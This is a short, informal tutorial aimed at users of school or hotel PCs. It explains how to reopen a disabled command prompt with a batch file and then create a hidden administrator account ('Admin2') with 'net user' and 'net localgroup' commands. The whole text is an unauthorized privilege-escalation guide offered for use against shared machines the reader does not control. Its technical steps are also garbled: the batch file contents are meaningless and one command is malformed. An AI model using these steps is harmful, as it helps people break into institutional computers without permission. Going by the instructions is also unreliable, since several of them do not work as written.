Get Admin Rights

How to get a admin account on a school pc or a pc in a hotel which you can rent to get connection to the internet.
1) On most of this Pc you cant use cmd because its disabled thats why we have to get it. Open notepad and write this into it:
@echo
@command
@comannd.com
// save it with the name cmd.bat

2) Now we have to create our account :
write in cmd :
net user Admin2 /add
3) ok now we have our account now we have to give him admin rights
write this into cmd :
net localgroup Administratoren Admin2 /add
4) Ok now you have your Admin user account. Now you have to opportunities.
First : You can save the acc with a password. You only need to type this text into cmd:
net user Admin2*
Second : You can delete your account write this:
net user Admin2 /del


To write messages between differt users you only need to write in cmd :
msg OtherUser *
Then you get a textfield where you can write your message into.
If your finish with your text write "^Z" and press enter